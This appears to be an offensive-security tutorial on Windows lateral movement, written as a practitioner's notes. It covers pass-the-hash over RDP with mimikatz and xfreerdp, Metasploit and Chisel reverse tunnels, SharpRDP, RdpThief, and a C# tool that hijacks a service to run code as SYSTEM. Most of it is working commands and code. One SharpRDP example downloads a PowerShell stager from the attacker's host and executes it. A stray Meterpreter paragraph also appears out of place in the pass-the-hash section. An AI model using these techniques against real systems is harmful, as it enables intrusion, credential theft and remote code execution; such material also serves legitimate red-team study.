Remote desktop protocol
Remote desktop protocol (RDP) is a Windows application that allows users to create interactive sessions between Terminal Servers. Regular authentication via RDP caches the user’s credentials on the host, as a user’s credentials are required to authenticate to the remote server. Using the techniques we described in our Mimikatz discussion, we can dump a user’s password hashes for cracking later.
Using the terminal service, mstsc.exe
, we can also authenticate to and
establish sessions with remote hosts without providing credentials, using cached
credentials of the logged-in user. We can do this by providing the
/restrictedadmin
parameter during the invocation of the mstsc.exe
program.
This technique is called passing the hash.
Passing the hash
In a scenario where we’re in the possession of a password hash for the admin
user of a domain and we’re logged into a terminal within the domain as a
different user, for example dave
, because we have connectivity to the domain
controller within the domain, we can attempt to pass the hash using the admin
user’s NTLM hash to acquire a session on the target host. Here’s a demonstration
of this using mimikatz:
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:${USER} /domain:${DOMAIN} /ntlm:${HASH} /run:"mstsc.exe /restrictedadmin"
Restricted admin mode is not enabled by default, however, we can use the pass
the hash technique to execute commands on the target host to re-enable
restricted admin mode by targeting the
HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin
registry
key. Invoking the following mimikatz
command will provide us with a
PowerShell session as a target user by passing the hash:
mimikatz # sekurlsa::pth /user:${USER} /domain:${DOMAIN} /ntlm:${HASH} /run:powershell
Once the Meterpreter session is active, we’ll send it to the background and
switch to the multi/manage/autoroute
module. This will allow us to configure a
reverse tunnel through the Meterpreter session and use that with a SOCKS
proxy. Invoking the following PowerShell, we can impersonate the target user and
enable restricted admin mode:
Enter-PSSession -Computer "${COMPUTERNAME}"
New-ItemProperty `
-Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name DisableRestrictedAdmin `
-Value 0
We can also pass NTLM hashes with xfreerdp by invoking the following:
xfreerdp /u:${USER} /pth:${HASH} /v:${RHOST}
Metasploit
We’ll frequently encounter scenarios where our compromised targets are protected within a virtual network with a NAT gateway, firewall, etc. preventing us from creating inbound connections to our target. This is why reverse shells are so useful, because the compromised host can call back to our C2 to establish a connection, bypassing any firewalls and enabling our connection to the remote target.
Once we land a meterpreter agent on a target host, we can use that agent to proxy our RDP session by establishing a reverse tunnel and a SOCKS proxy. We invoke the following in msfconsole with an active agent session to establish a proxy:
use multi/manage/autoroute
set session ${SESSION}
exploit
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
exploit -j
The above invocation establishes a reverse tunnel through the current session,
creating routing rules on our attacker host to route traffic destined for our
target’s private network through the tunnel we created. We then establish a
SOCKS proxy on the host listening on 127.0.0.1:1080
and run it in the
background.
Now we can use the proxychains application to proxy our RDP communications to the target through the SOCKS proxy with the example invocation:
sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf'
proxychains rdesktop ${RHOST}
We can use proxychains
for more than just RDP, we can use applications like
nmap, for host discovery within the target’s private network, or firefox
to browse web applications on servers only routeable within the target network.
Chisel
Chisel is a pretty neat application that
can also create reverse tunnels and proxy our communications. We can invoke the
following with chisel
to setup a SOCKS proxy on our attacker host:
chisel server -p 8080 --socks5
sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' # enable SSH password login on this host
sudo systemctl start ssh.service
ssh -N -D 0.0.0.0:1080 localhost
On the target, we can execute the following to initiate a reverse tunnel with
chisel
:
chisel.exe client ${LHOST} socks
Once the reverse connection is established, we can use the SOCKS proxy to establish an RDP session with our target:
sudo proxychains rdesktop ${RHOST}
SharpRDP
SharpRDP uses the terminal services
library, mstscax.dll
, to interact with non-scriptable interfaces for
authentication used in the same way by mstsc.exe
. We can use SharpRDP to
execute code through the SendKeys
terminal services interface, requiring no
GUI access and rendering the creation of reverse tunnels unnecessary. Here’s an
example execution of SharpRDP.exe
to invoke an application on a target host
after authentication:
Start-Process `
-FilePath ".\SharpRDP.exe" `
-ArgumentList @(
"computername=${COMPUTERNAME}",
"command=${COMMAND}",
"username=${DOMAIN}\${USER}",
"password=${PASSWORD}"
)
Here’s an example invocation to execute the download of a PowerShell stager on a target host:
$COMMAND="powershell -Command `"(Invoke-RestMethod -Uri http://${LHOST}:${LPORT}/stager.ps1 -UseBasicParsing) | Invoke-Expression`""
Start-Process `
-FilePath ".\SharpRDP.exe" `
-ArgumentList @(
"computername=${COMPUTERNAME}",
"command=${COMMAND}",
"username=${DOMAIN}\${USER}",
"password=${PASSWORD}"
)
Stealing RDP credentials
When users provide their credentials to establish RDP sessions, they’re passed
in plaintext to the program. If we could inject into the mstsc.exe
and hook
the correct methods, we could dump the user’s credentials when they attempt to
RDP - essentially a keylogger. RdpThief is
a standalone DLL that we can inject to conduct this attack. Tools like
RDPThiefInject provide
example code to generate payloads.
PsExec
The SysInternals PsExec application enables lateral movement by using the current user’s authentication context to pass the hash to a target computer, create a new service on the remote host, and start the service in the context of SYSTEM. This requires the PsExec application to drop a binary on the remote host as an executable file is required to correctly configure a new service.
We can avoid creating a new service and dropping a file on the remote host by hijacking a currently existing service and modifying its configured executable. Using the follow C# .NET code, we can implement this tactic:
using System.Runtime.InteropServices;
namespace QuietPsExec;
class Program
{
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return:MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(
IntPtr hService,
uint dwServiceType,
int dwStartType,
int dwErrorControl,
string lpBinaryPathName,
string? lpLoadOrderGroup,
string? lpdwTagId,
string? lpDependencies,
string? lpServiceStartName,
string? lpPassword,
string? lpDisplayName
);
[DllImport(
"advapi32.dll",
EntryPoint = "OpenSCManagerW",
ExactSpelling = true,
CharSet = CharSet.Unicode,
SetLastError = true
)]
public static extern IntPtr OpenSCManager(
string machineName,
string? databaseName,
uint dwAccess
);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
uint dwDesiredAccess
);
[DllImport("advapi32", SetLastError = true)]
[return:MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[]? lpServiceArgVectors
);
private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
private const uint SERVICE_ALL_ACCESS = 0xF01FF;
static void Main(string[] args)
{
string targetComputer = args[0];
string serviceName = args[1];
string programName = args[2];
IntPtr hSCManager = OpenSCManager(
targetComputer,
null,
SC_MANAGER_ALL_ACCESS
);
IntPtr hService = OpenService(
hSCManager,
serviceName,
SERVICE_ALL_ACCESS
);
ChangeServiceConfigA(
hService,
0xffffffff,
3,
0,
programName,
null,
null,
null,
null,
null,
null
);
StartService(hService, 0, null);
}
}
An example invocation of this compiled program will modify the SensorService service to execute the notepad application as the SYSTEM user:
Start-Process `
-FilePath ".\QuietPsExec.exe" `
-ArgumentList @(
"${COMPUTERNAME}",
"SensorService",
"notepad.exe"
)
While the above code is intended to be executed from a compromised host within our target domain, we can also exfiltrate NTLM hashes for target users and execute the same technique from our attacker machine. This tactic is implemented in the SCShell application.